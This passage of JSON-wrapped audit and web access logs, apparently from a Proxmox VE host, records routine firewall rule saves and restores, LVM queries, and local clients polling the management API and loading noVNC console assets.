pid=66188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675246,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.246:62106): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966315887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.887:69283): arch=c000003e syscall=59 success=yes exit=0 a0=602898ceaac8 a1=7ffe91e9c380 a2=6028a5562680 a3=602898cce24e items=2 ppid=66508 pid=66510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.450:59390): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc51259320 a1=5e3277939310 a2=5e3277932680 a3=5 items=1 ppid=57037 pid=57038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965775505,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965775.505:67054): table=filter family=7 entries=4 op=xt_replace pid=64400 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/ctrlaltdel.svg HTTP/1.1\" 200 1060"} {"@timestamp":1781966325950,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.950:69311): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964716669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965658778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964285683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.683:60374): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.809:68921): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675241,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.241:62105): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966315886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.886:69282): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe91e9c340 a1=6028a5569310 a2=6028a5562680 a3=5 items=2 ppid=66508 pid=66509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.766:59380): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965765351,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965765.351:67012): table=filter family=7 entries=4 op=xt_replace pid=64361 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/alt.svg HTTP/1.1\" 200 1434"} {"@timestamp":1781966325944,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.944:69310): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964715673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965658778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964285676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.676:60373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57970 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.467:68918): arch=c000003e syscall=59 success=no exit=-2 a0=5d4f9f6a1740 a1=5d4fa0e87b40 a2=5d4f9f68c680 a3=5 items=1 ppid=66172 pid=66184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675241,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.241:62104): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966315882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.882:69280): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.766:59379): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755193,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965755.193:66970): table=filter family=7 entries=4 op=xt_replace pid=64322 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/ctrl.svg HTTP/1.1\" 200 1699"} {"@timestamp":1781966325938,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.938:69309): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964715673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965657786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964285669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.669:60372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57969 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.446:68914): arch=c000003e syscall=59 success=no exit=-2 a0=5d4fa0e22710 a1=5d4fa0e87b40 a2=5d4f9f68c680 a3=5 items=1 ppid=66172 pid=66181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675236,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.236:62101): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966315877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.877:69279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c45f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.755:59377): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746032,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965746.032:66928): table=filter family=7 entries=4 op=xt_replace pid=64283 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/drag.svg HTTP/1.1\" 200 2005"} {"@timestamp":1781966325932,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.932:69308): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964715673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781965656758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781964285665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.665:60371): arch=c000003e syscall=59 success=yes exit=0 a0=5b0f2e875e90 a1=5b0f2e872c10 a2=5b0f2e854680 a3=5 items=2 ppid=57962 pid=57968 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.799:68903): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675231,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.231:62100): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966315872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.872:69278): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.755:59376): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735864,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965735.864:66886): table=filter family=7 entries=4 op=xt_replace pid=64242 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/error-handler.js?ver=1.6.0-3 HTTP/1.1\" 200 1144"} {"@timestamp":1781966325926,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.926:69307): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964714651,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781965656758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964285662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.662:60370): arch=c000003e syscall=59 success=yes exit=0 a0=5b0f26c21ac8 a1=7ffd93c894f0 a2=5b0f2e854680 a3=5b0f26c0524e items=2 ppid=57962 pid=57964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.799:68902): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675226,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.226:62099): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966315866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.866:69277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.740:59374): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725699,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965725.699:66844): table=filter family=7 entries=4 op=xt_replace pid=64203 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/styles/pve.css?ver=1.6.0-3 HTTP/1.1\" 200 869"} {"@timestamp":1781966325921,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.921:69306): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964712645,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965655778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.661:60369): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd93c894b0 a1=5b0f2e85b310 a2=5b0f2e854680 a3=5 items=2 ppid=57962 pid=57963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.794:68900): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.219:62098): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966315862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.862:69276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.740:59373): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715501,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965715.501:66799): table=filter family=7 entries=4 op=xt_replace pid=64158 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/styles/input.css?ver=1.6.0-3 HTTP/1.1\" 200 5969"} {"@timestamp":1781966325914,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.914:69305): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964712645,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965655778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964285657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.657:60367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.794:68899): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675213,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.213:62097): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966315855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.855:69275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.727:59371): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705319,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965705.319:66755): table=filter family=7 entries=4 op=xt_replace pid=64117 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/styles/base.css?ver=1.6.0-3 HTTP/1.1\" 200 4830"} {"@timestamp":1781966325907,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.907:69304): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964712645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965655778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964285650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.650:60366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.778:68895): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcb5e57e60 a1=611bee827310 a2=611bee820680 a3=5 items=1 ppid=66161 pid=66162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.210:62096): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966315849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.849:69274): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.727:59370): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695144,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965695.144:66713): table=filter family=7 entries=4 op=xt_replace pid=64078 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/styles/constants.css?ver=1.6.0-3 HTTP/1.1\" 200 776"} {"@timestamp":1781966324735,"@rawstring":"node=pve type=EXECVE msg=audit(1781966324.735:69303): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964711617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965654760,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964285643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.643:60365): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.678:68877): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd891b80a0 a1=5e9cd5b62310 a2=5e9cd5b5b680 a3=5 items=1 ppid=66142 pid=66143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675206,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.206:62095): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966315843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.843:69273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.038:67979): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685950,"@rawstring":"node=pve 